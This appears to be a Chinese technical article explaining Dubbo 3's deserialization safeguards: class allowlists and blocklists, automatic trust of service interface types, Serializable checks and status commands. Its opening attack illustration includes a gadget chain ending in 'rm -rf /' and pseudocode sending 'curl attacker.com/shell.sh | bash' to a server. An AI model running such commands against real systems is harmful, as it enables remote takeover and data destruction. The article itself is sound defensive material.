Dubbo3反序列化安全机制详解#

1
// 反序列化时，JVM 会自动调用这个方法
2
private void readObject(ObjectInputStream in) {
3
    // 这里的代码会自动执行
4
}

1
攻击者构造的序列化数据不是直接传一个命令，
2
而是构造一个嵌套对象链：
3

4
TransformedMap
5
  └─ 内部持有一个 Transformer[] 链
6
       ├─ InvokerTransformer("getMethod",   "exec")
7
       ├─ InvokerTransformer("invoke",       ...)
8
       └─ InvokerTransformer("exec",         "rm -rf /")

1
1. JVM 反序列化 TransformedMap 对象
2
2. TransformedMap.readObject() 被自动调用
3
3. readObject() 内部检查到 Map 发生了变化
4
4. 触发 Transformer 链逐个执行
5
5. InvokerTransformer 的作用是：通过反射调用任意方法
6
6. 最终链式调用等价于：Runtime.getRuntime().exec("rm -rf /")

1
攻击者（客户端）                        服务端
2
─────────────────                    ──────────
3

4
// 1. 构造恶意对象
5
Object malicious = craftPayload(
6
    "curl attacker.com/shell.sh | bash"
7
);
8

9
// 2. 序列化后作为 RPC 参数发送
10
byte[] data = serialize(malicious);
11
send(data)  ──────────────────►
12
                                     // 3. 服务端收到，正常反序列化
13
                                     Object obj = deserialize(data);
14

15
                                     // 4. JVM 自动调用 obj.readObject()
16
                                     // 5. readObject 内部触发 gadget chain
17
                                     // 6. 等价于执行了：
18
                                     //    Runtime.exec(
19
                                     //      "curl attacker.com/shell.sh | bash"
20
                                     //    )
21
                                     // 💥 服务器被攻陷

1
Consumer ──[序列化参数]──► 网络 ──► Provider 反序列化
2
                                    ↑
3
                               攻击入口在这里

1
public class DangerousMap<K, V> extends HashMap<K, V> {
2
    @Override
3
    public V put(K key, V value) {
4
        System.out.println("The JVM will be shutdown...");
5
        System.exit(-1);
6
        return super.put(key, value);
7
    }
8
}

1
deserialize(data) → 发现是 TransformedMap 类 → 正常实例化 → 触发 RCE 💥

1
deserialize(data) → 发现是 TransformedMap 类
2
→ 检查白名单：TransfomedMap 在白名单吗？不在！
3
→ 拒绝反序列化 → 抛出异常 → 攻击失败 ✅

1
ServiceConfig.export()  ──►  SerializeSecurityConfigurator.registerInterface(Class<?> clazz)
2
ReferenceConfig.refer() ──►  SerializeSecurityConfigurator.registerInterface(Class<?> clazz)

1
public synchronized void registerInterface(Class<?> clazz) {
2
    // 前提：autoTrustSerializeClass 必须为 true（默认就是 true）
3
    if (!autoTrustSerializeClass) {
4
        return;
5
    }
6

7
    Set<Type> markedClass = new HashSet<>();  // 防止重复扫描
8

9
    // === 第一步：信任 Service Class 自身 + 递归扫描关联类型 ===
10
    checkClass(markedClass, clazz);
11
    addToAllow(clazz.getName());
12

13
    Method[] methodsToExport = clazz.getMethods();
14

15
    // === 第二步：遍历所有方法，信任入参、出参、异常 ===
16
    for (Method method : methodsToExport) {
17
        // 方法入参类型
18
        for (Class<?> parameterType : method.getParameterTypes()) {
19
            checkClass(markedClass, parameterType);
20
        }
21
        // 方法入参的泛型（如 Optional<ThirdParam>）
22
        for (Type genericParameterType : method.getGenericParameterTypes()) {
23
            checkType(markedClass, genericParameterType);
24
        }
25
        // 返回值类型
26
        checkClass(markedClass, method.getReturnType());
27
        checkType(markedClass, method.getGenericReturnType());
28
        // 异常类型
29
        for (Class<?> exceptionType : method.getExceptionTypes()) {
30
            checkClass(markedClass, exceptionType);
31
        }
32
        for (Type genericExceptionType : method.getGenericExceptionTypes()) {
33
            checkType(markedClass, genericExceptionType);
34
        }
35
    }
36
}

1
checkClass(UserService.class)
2
  ├── 信任 UserService 自身
3
  ├── 递归扫描 UserService 的父类
4
  ├── 递归扫描 UserService 实现的接口
5
  └── 递归扫描 UserService 的所有字段类型
6
        └── 对每个字段类型再次 checkClass（递归到底）

1
private void addToAllow(String className) {
2
    // 1. JDK 内置类直接信任
3
    if (className.startsWith("java.") || className.startsWith("javax.")
4
        || className.startsWith("com.sun.") || className.startsWith("sun.")
5
        || className.startsWith("jdk.")) {
6
        serializeSecurityManager.addToAllowed(className);
7
        return;
8
    }
9

10
    // 2. 自定义类：根据 trustSerializeClassLevel 信任到包级别
11
    String[] subs = className.split("\\.");
12
    if (subs.length > trustSerializeClassLevel) {
13
        serializeSecurityManager.addToAllowed(
14
            Arrays.stream(subs).limit(trustSerializeClassLevel)
15
                  .collect(Collectors.joining(".")) + ".");
16
    } else {
17
        serializeSecurityManager.addToAllowed(className);
18
    }
19
}

1
package org.example.echo.service;
2

3
public interface EchoService {
4
    Result echo(Request request);
5
}

1
扫描 EchoService.class
2
  │
3
  ├─ addToAllow("org.example.echo.service.EchoService")
4
  │    → subs=["org","example","echo","service","EchoService"]
5
  │    → level=3，信任 "org.example.echo."
6
  │
7
  ├─ 扫描方法 echo(Request) 的入参
8
  │    → checkClass(Request.class)
9
  │    → addToAllow("org.example.echo.pojo.Request")
10
  │    → 信任 "org.example.echo."  (同上，已存在)
11
  │
12
  ├─ 扫描方法 echo 的返回值
13
  │    → checkClass(Result.class)
14
  │    → addToAllow("org.example.echo.pojo.Result")
15
  │    → 信任 "org.example.echo."  (同上，已存在)
16
  │
17
  └─ 最终结果：org.example.echo 包下所有类都被自动信任

1
用户自定义白名单 (serialize.allowlist)
2
  = 框架内置白名单 (dubbo-common 模块预配置)
3
    > 用户自定义黑名单 (serialize.blockedlist)
4
    = 框架内置黑名单
5
      > 自动扫描信任的类（registerInterface 流程）

1
反序列化请求到达
2
  → 检查1：该类是否实现了 Serializable 接口？
3
    → 没实现 → 直接拒绝（不管白名单）
4
    → 实现了 → 继续检查2：该类在白名单中吗？
5
      → 不在白名单（STRICT 模式）→ 拒绝
6
      → 在白名单 → 允许反序列化 ✅

1
# 默认 true，开启 Serializable 接口检查
2
dubbo.application.check-serializable=true

1
> telnet 127.0.0.1 22222
2
dubbo>serializeCheckStatus
3
CheckStatus: STRICT
4

5
CheckSerializable: true
6

7
AllowedPrefix:
8
...
9

10
DisAllowedPrefix:
11
...

1
> curl http://127.0.0.1:22222/serializeCheckStatus
2
{"checkStatus":"STRICT","allowedPrefix":[...],"checkSerializable":true,"disAllowedPrefix":[...]}

1
> telnet 127.0.0.1 22222
2
dubbo>serializeWarnedClasses
3
WarnedClasses:
4
io.dubbo.test.NotSerializable
5
io.dubbo.test2.NotSerializable